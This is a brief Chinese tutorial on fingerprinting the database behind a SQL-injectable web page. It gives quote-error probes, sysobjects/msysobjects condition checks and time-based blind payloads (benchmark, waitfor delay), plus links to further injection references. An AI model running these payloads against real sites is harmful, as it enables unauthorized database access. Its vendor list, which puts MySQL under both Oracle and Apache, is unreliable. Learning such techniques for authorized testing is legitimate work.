微软公司旗下的:
Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或者ASP.NET)
access,微软Office系列产品之一,极小型数据库。功能和性能当然也是相当一般。性能甚至可以说是相当低(常与ASP应用交互)
Oracle公司旗下的:
MySQL 是一个关系型数据库管理系统(常与PHP web应用交互)
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统
Apache旗下的:
MySql
(在可注入的情况下,判断数据库类型)(我以数字型注入为例子)
单引号判断:
id=1′页面出现类似错误显示 “Microsoft JET Database Engine 错误 ’80040e14′” JET 为ACCESS数据库
id=1′页面出现类似错误显示 “Microsoft OLE DB Provider for sql server错误 ‘xxxxxx’ ” 就为MSSQL数据库
条件判断:
id=1 and user>0 出错爆出user用户名的是 MSSQL
如果不爆错,那么我们用以下方式
id=1 and (select count(*) from sysobjects)>0 访回与id=1时页面一样 就为MSSQL数据库
id=1 and (select count(*) from msysobjects)>0 access会返回你没有权限查看
如果也没反应怎么办?
那我们就盲注吧
mysql 盲注语句为 id=1 and if(1=1,benchmark(100,md5(1)),0) //如果可延时执行,为Mysql数据库
mssql 盲注语句为 id=1 and if(1=1) waitfor delay ’00:00:04′;
看了下面的文章,你可能知道为什么要分析是web应用是什么数据库啦!
如果你分析为 MYSQL 注入,我推荐你看这篇文章。
http://websec.ca/kb/sql_injection#MySQL_Default_Databases
如果你分析为 MSSQL 注入,我推荐你看这篇文章。
http://websec.ca/kb/sql_injection#MSSQL_Default_Databases
如果你分析为 ORACLE 注入,我推荐你看这篇文章。
http://websec.ca/kb/sql_injection#Oracle_Default_Databases